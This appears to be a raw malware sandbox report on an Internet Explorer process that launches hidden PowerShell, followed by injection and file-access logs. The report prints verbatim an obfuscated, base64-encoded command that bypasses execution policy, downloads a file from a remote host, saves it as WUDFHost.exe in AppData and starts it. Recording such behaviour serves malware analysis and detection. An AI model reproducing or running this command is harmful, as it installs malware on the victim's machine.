CQAJACAAWwBjAEgAQQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMAAxACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAApACAACQAJAC0AbwBVAHQAZgBpAEwAZQAgACAAIAAgACAAIAAgACAAHSAkAEUATgBWADoAYQBQAFAARABhAFQAYQBcAFcAVQBEAEYASABvAHMAdAAuAGUAeABlAB0gIAAgAAkACQAJAAkAIAAJAAkACQAgACAAOwAgAHMAVABhAFIAVAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAB0gJABlAG4AVgA6AEEAcABwAGQAYQBUAEEAXABXAFUARABGAEgAbwBzAHQALgBlAHgAZQAdIA==
parent_process iexplore.exe martian_process "C:\Windows\SYstEm32\wIndowsPOWERsHeLL\V1.0\pOWERSheLL.ExE" "POWErshELl -eX BYPasS -nOp -w hIDdEN -Ec IAAJAAkACQAJAAkACQAJAAkACQAJAAkAWwBuAGUAVAAuAFMARQBSAFYAaQBDAGUAcABPAEkATgB0AG0AQQBOAGEARwBlAFIAXQA6ADoAcwBFAEMAdQBSAGkAVABZAFAAcgBPAFQAbwBDAG8AbAAgAAkACQAgAAkACQAgACAAIAAgAAkACQAJACAAIAAgAD0AIAAJACAACQAgAAkACQAgAAkAIAAJACAACQAgAFsATgBlAHQALgBTAGUAYwBVAHIASQB0AFkAcAByAE8AVABPAEMATwBMAFQAWQBQAGUAXQA6ADoAVABsAHMAMQAyACAACQAJAAkACQAJAAkAOwAgAAkAIAAgAAkAIAAJAAkAIAB3AGcAZQB0ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACgAWwBjAEgAYQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMAA0ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBjAGgAQQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMQA2ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBjAGgAQQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMQA2ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBDAGgAYQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMQAyACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBDAEgAQQByAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADUAOAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACsAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgAFsAYwBIAEEAcgBdACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAA0ADcAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAArACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIABbAGMAaABBAHIAXQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAANAA3ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBDAEgAQQByAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADQAOQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACsAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgAFsAQwBoAEEAcgBdACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAA1ADcAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAArACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIABbAGMASABhAHIAXQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAANQAwACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBDAEgAQQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADQANgAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACsAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgAFsAQwBIAGEAcgBdACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAA1ADEAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAArACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIABbAGMAaABBAHIAXQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAANAA2ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBjAGgAYQByAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADQAOQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACsAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgAFsAQwBIAEEAcgBdACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAA1ADUAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAArACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIABbAEMASABBAHIAXQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAANQAwACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBjAEgAYQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADQANgAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACsAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgAFsAYwBoAEEAcgBdACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAA1ADAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAArACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIABbAGMAaABBAHIAXQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAANAA4ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBDAEgAQQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADUANgAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACsAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgAFsAQwBoAEEAUgBdACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAA0ADcAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAArACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIABbAGMAaABBAFIAXQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAANQAwACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBjAGgAQQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADUANAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACsAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgAFsAQwBoAGEAcgBdACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAA0ADgAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAArACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIABbAEMAaABBAHIAXQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAANAA3ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBjAEgAYQByAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMAA1ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBDAEgAQQByAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMAAzACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBDAGgAYQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMQA3ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBjAEgAQQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADkAOQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACsAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgAFsAYwBIAGEAUgBdACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAA5ADkAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAArACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIABbAGMAaABhAHIAXQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAANAA2ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBDAEgAQQByAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMAAxACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBjAEgAYQByAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMgAwACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBjAEgAQQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMAAxACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAApACAACQAJAC0AbwBVAHQAZgBpAEwAZQAgACAAIAAgACAAIAAgACAAHSAkAEUATgBWADoAYQBQAFAARABhAFQAYQBcAFcAVQBEAEYASABvAHMAdAAuAGUAeABlAB0gIAAgAAkACQAJAAkAIAAJAAkACQAgACAAOwAgAHMAVABhAFIAVAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAB0gJABlAG4AVgA6AEEAcABwAGQAYQBUAEEAXABXAFUARABGAEgAbwBzAHQALgBlAHgAZQAdIA== "
parent_process iexplore.exe martian_process C:\Windows\System32\wIndowsPOWERsHeLL\v1.0\pOWERSheLL.ExE "POWErshELl -eX BYPasS -nOp -w hIDdEN -Ec IAAJAAkACQAJAAkACQAJAAkACQAJAAkAWwBuAGUAVAAuAFMARQBSAFYAaQBDAGUAcABPAEkATgB0AG0AQQBOAGEARwBlAFIAXQA6ADoAcwBFAEMAdQBSAGkAVABZAFAAcgBPAFQAbwBDAG8AbAAgAAkACQAgAAkACQAgACAAIAAgAAkACQAJACAAIAAgAD0AIAAJACAACQAgAAkACQAgAAkAIAAJACAACQAgAFsATgBlAHQALgBTAGUAYwBVAHIASQB0AFkAcAByAE8AVABPAEMATwBMAFQAWQBQAGUAXQA6ADoAVABsAHMAMQAyACAACQAJAAkACQAJAAkAOwAgAAkAIAAgAAkAIAAJAAkAIAB3AGcAZQB0ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACgAWwBjAEgAYQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMAA0ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBjAGgAQQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMQA2ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBjAGgAQQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMQA2ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBDAGgAYQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMQAyACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBDAEgAQQByAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADUAOAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACsAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgAFsAYwBIAEEAcgBdACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAA0ADcAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAArACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIABbAGMAaABBAHIAXQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAANAA3ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBDAEgAQQByAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADQAOQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACsAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgAFsAQwBoAEEAcgBdACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAA1ADcAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAArACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIABbAGMASABhAHIAXQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAANQAwACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBDAEgAQQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADQANgAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACsAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgAFsAQwBIAGEAcgBdACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAA1ADEAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAArACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIABbAGMAaABBAHIAXQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAANAA2ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBjAGgAYQByAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADQAOQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACsAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgAFsAQwBIAEEAcgBdACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAA1ADUAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAArACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIABbAEMASABBAHIAXQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAANQAwACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBjAEgAYQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADQANgAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACsAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgAFsAYwBoAEEAcgBdACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAA1ADAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAArACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIABbAGMAaABBAHIAXQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAANAA4ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBDAEgAQQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADUANgAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACsAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgAFsAQwBoAEEAUgBdACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAA0ADcAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAArACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIABbAGMAaABBAFIAXQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAANQAwACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBjAGgAQQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADUANAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACsAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgAFsAQwBoAGEAcgBdACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAA0ADgAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAArACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIABbAEMAaABBAHIAXQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAANAA3ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBjAEgAYQByAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMAA1ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBDAEgAQQByAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMAAzACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBDAGgAYQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMQA3ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBjAEgAQQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADkAOQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACsAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgAFsAYwBIAGEAUgBdACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAA5ADkAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAArACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIABbAGMAaABhAHIAXQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAANAA2ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBDAEgAQQByAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMAAxACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBjAEgAYQByAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMgAwACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBjAEgAQQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMAAxACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAApACAACQAJAC0AbwBVAHQAZgBpAEwAZQAgACAAIAAgACAAIAAgACAAHSAkAEUATgBWADoAYQBQAFAARABhAFQAYQBcAFcAVQBEAEYASABvAHMAdAAuAGUAeABlAB0gIAAgAAkACQAJAAkAIAAJAAkACQAgACAAOwAgAHMAVABhAFIAVAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAB0gJABlAG4AVgA6AEEAcABwAGQAYQBUAEEAXABXAFUARABGAEgAbwBzAHQALgBlAHgAZQAdIA== "
Process injection Process 792 resumed a thread in remote process 2252
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x0000000000000368
suspend_count: 1
process_identifier: 2252
1 0 0
option -ex bypass value Attempts to bypass execution policy
option -nop value Does not load current user profile
option -w hidden value Attempts to execute command with a hidden window
option -ex bypass value Attempts to bypass execution policy
option -nop value Does not load current user profile
option -w hidden value Attempts to execute command with a hidden window
option -ex bypass value Attempts to bypass execution policy
option -nop value Does not load current user profile
option -w hidden value Attempts to execute command with a hidden window
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe